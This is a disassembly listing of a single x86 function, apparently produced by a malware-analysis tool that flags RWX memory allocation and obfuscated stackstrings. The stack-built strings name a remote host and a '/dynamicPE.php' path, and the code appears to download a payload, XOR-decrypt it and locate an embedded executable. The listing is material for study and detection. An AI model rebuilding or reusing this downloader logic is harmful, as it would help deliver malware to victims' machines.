Function at 0x10001ca0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x34]
push eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x34], 0x6e72656b
mov bl, 0x33
mov dword [ebp - 0x30], 0x32336c65
mov dword [ebp - 0x2c], 0x6c6c642e
mov byte [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001cf6
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002227
mov esp, ebp
pop ebp
ret
push 0x40
push 0x3000
push 0x7d000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x27c], eax
test eax, eax
je 0x10001ce3
push 0x104
lea ecx, [ebp - 0x277]
push 0
push ecx
mov dword [ebp - 0xc], 0x31383031
mov byte [ebp - 8], bl
mov word [ebp - 7], 0x31
mov word [ebp - 0x6c], 0x3031
mov byte [ebp - 0x6a], bl
mov dword [ebp - 0x69], 0x34363737
mov dword [ebp - 0x65], 0x30303234
mov byte [ebp - 0x61], bl
mov dword [ebp - 0x60], 0x31343236
mov word [ebp - 0x5c], 0x3832
mov byte [ebp - 0x5a], bl
mov dword [ebp - 0x59], 0x37323834
mov byte [ebp - 0x55], bl
mov dword [ebp - 0x54], 0x39343634
mov dword [ebp - 0x50], 0x35343531
mov word [ebp - 0x4c], 0x3038
mov byte [ebp - 0x4a], 0x39
mov byte [ebp - 0x49], bl
mov dword [ebp - 0x48], 0x313239
mov dword [ebp - 0x24], 0x2e727673
mov dword [ebp - 0x20], 0x73737877
mov dword [ebp - 0x1c], 0x6f632e
mov dword [ebp - 0x44], 0x6e79642f
mov dword [ebp - 0x40], 0x63696d61
mov dword [ebp - 0x3c], 0x702e4550
mov word [ebp - 0x38], 0x7068
mov byte [ebp - 0x36], 0
mov dword [ebp - 0x18], 0x656d6167
mov dword [ebp - 0x14], 0x656d616e
mov word [ebp - 0x10], 0x3d
mov byte [ebp - 0x278], 0
call fcn.100057a0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x278]
push 0x104
push eax
call fcn.10002a06
push esi
lea ecx, [ebp - 0x278]
push 0x104
push ecx
call fcn.10002a06
mov esi, dword [ebp - 0x27c]
add esp, 0x24
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x24]
push eax
mov edx, esi
lea ecx, [ebp - 0x278]
call fcn.10001f80
test eax, eax
jne 0x10001ce3
lea esp, [esp]
cmp dword [edi], 3
jb 0x10001e4f
push 0x1001092c
push esi
call fcn.10002980
add esp, 8
test eax, eax
je 0x10001e4f
add esi, 3
add dword [edi], 0xfffffffd
jmp 0x10001e30
mov ecx, 0xa0d
cmp word [esi], cx
jne 0x10001e6d
lea esp, [esp]
add dword [edi], 0xfffffffe
add esi, 2
mov edx, ecx
cmp word [esi], dx
je 0x10001e60
xor cl, cl
cmp byte [esi], 0xa
je 0x10001ce3
mov eax, dword [edi]
test eax, eax
je 0x10001e89
mov cl, byte [esi]
dec eax
inc esi
mov dword [edi], eax
cmp byte [esi], 0xa
jne 0x10001e78
cmp cl, 0x30
jne 0x10001ce3
inc esi
cmp byte [esi], 0xa
mov ecx, esi
mov dword [ebp - 0x27c], ecx
je 0x10001eaf
mov eax, dword [edi]
test eax, eax
je 0x10001eaf
dec eax
inc esi
mov dword [edi], eax
cmp byte [esi], 0xa
jne 0x10001ea0
push 0x103
lea eax, [ebp - 0x16f]
mov ebx, esi
mov byte [esi], 0
push 0
push eax
sub ebx, ecx
inc esi
mov byte [ebp - 0x170], 0
call fcn.100057a0
add esp, 0xc
lea ecx, [ebp - 0x6c]
push ecx
mov ecx, dword [ebp - 0x27c]
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x170]
push eax
push ebx
push ecx
call fcn.10001bd0
cmp byte [ebp - 0x170], 2
jne 0x10001ce3
lea eax, [ebp - 0x170]
mov dl, byte [eax]
inc eax
test dl, dl
je 0x10001f11
mov ecx, ebx
dec ebx
test ecx, ecx
jne 0x10001f03
mov dword [ebp - 0x27c], eax
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001f20
sub eax, edx
xor ecx, ecx
mov ebx, eax
cmp dword [edi], ecx
jbe 0x10001f48
mov eax, ecx
cdq
idiv ebx
mov eax, dword [ebp - 0x27c]
inc ecx
mov dl, byte [edx + eax]
xor byte [ecx + esi - 1], dl
cmp ecx, dword [edi]
jb 0x10001f31
mov eax, 0x5a4d
cmp ax, word [esi]
je 0x10001f66
mov eax, dword [edi]
test eax, eax
je 0x10001f66
dec eax
inc esi
mov ecx, 0x5a4d
mov dword [edi], eax
cmp cx, word [esi]
jne 0x10001f52
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002227
mov esp, ebp
pop ebp
ret